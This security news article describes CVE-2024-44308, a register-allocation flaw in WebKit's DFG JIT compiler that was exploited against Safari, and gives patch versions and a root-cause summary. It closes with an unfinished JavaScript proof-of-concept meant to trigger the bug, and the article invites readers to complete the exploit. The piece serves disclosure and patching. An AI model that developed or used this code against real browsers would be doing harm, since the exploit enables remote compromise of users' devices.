Apple Safari JavaScriptCore Remote Code Execution Flaw Exploited in the Wild

A critical vulnerability identified as CVE-2024-44308 has been actively exploited in the wild, affecting multiple versions of Apple Safari across iOS, visionOS, and macOS platforms.

This flaw, located within WebKit’s DFG JIT compiler, poses a significant threat by allowing remote code execution (RCE).

Affected Software and Versions

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Here’s a table summarizing the affected software and versions for the CVE-2024-44308 vulnerability:

Apple has addressed the issue in its latest updates: iOS 17.7.2, 18.1.1, visionOS 2.1.1, and macOS Sequoia 15.1.1.

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Discovery and Analysis

The vulnerability was reported by Clément Lecigne and Benoît Sevens from Google’s Threat Analysis Group and further analyzed by Dohyun Lee of USELab, Korea University.

This flaw stems from a register corruption issue in JavaScriptCore, due to improper allocation timing of the scratch2GPR register within the Speculative JIT compiling process.

The flaw impacts the DFGSpeculativeJIT.cpp file in WebKit, specifically within the method of handling integer-typed arrays.

The critical error occurs when the scratch2GPR register is allocated after invoking the getIntTypedArrayStoreOperand() function, which can introduce an unnecessary register allocation if a slow path is taken.

This misallocation can create an inconsistent register state, posing potential security risks.

The patched code corrects the order of operations, ensuring that the scratch2GPR register is properly managed, and maintaining the integrity of the register state when a slow path is introduced.

The code flow contributing to this vulnerability can be summarized as follows:

1. Call getIntTypedArrayStoreOperand(): The function is called to manage store operations in typed arrays.
2. Add Slow Path: A slow path may be introduced, requiring careful management of registers.
3. Incorrect Allocation: scratch2GPR is incorrectly allocated after the slow path, which is not utilized, leading to potential state inconsistencies.

Proof-of-Concept (PoC)

The PoC code, though unfinished, provides insight into triggering the vulnerability. It involves manipulating JavaScript objects and arrays to reach vulnerable functions, encouraging further exploration to complete the exploit.

var ab = new ArrayBuffer(8);
var arr = new Int32Array(ab);
const confuser = {
    valueOf() {
        gc();
        if (this.flag) {
            return {x: 0x41414141};
        }
        return 0x1234;
    },
    flag: false
};
function jitMe(arr) {
    let x = 0;
    for(let i = 0; i < 10000; i++) {
        if(i % 100 === 0) {
            confuser.flag = !confuser.flag;
            x = confuser;
        } else {
            x = i & 0xff;
        }
        arr[(i & 0xffff)] = x;
    }
    return arr;
}
for(let i = 0; i < 100; i++) {
    jitMe(arr);
}
jitMe(arr);

Users are strongly urged to update their devices to the latest software versions to mitigate the risk posed by this vulnerability.

This incident underscores the importance of timely software updates and continuous monitoring for security flaws. Apple’s response in quickly addressing this vulnerability highlights the ongoing efforts to secure its platforms against emerging threats.

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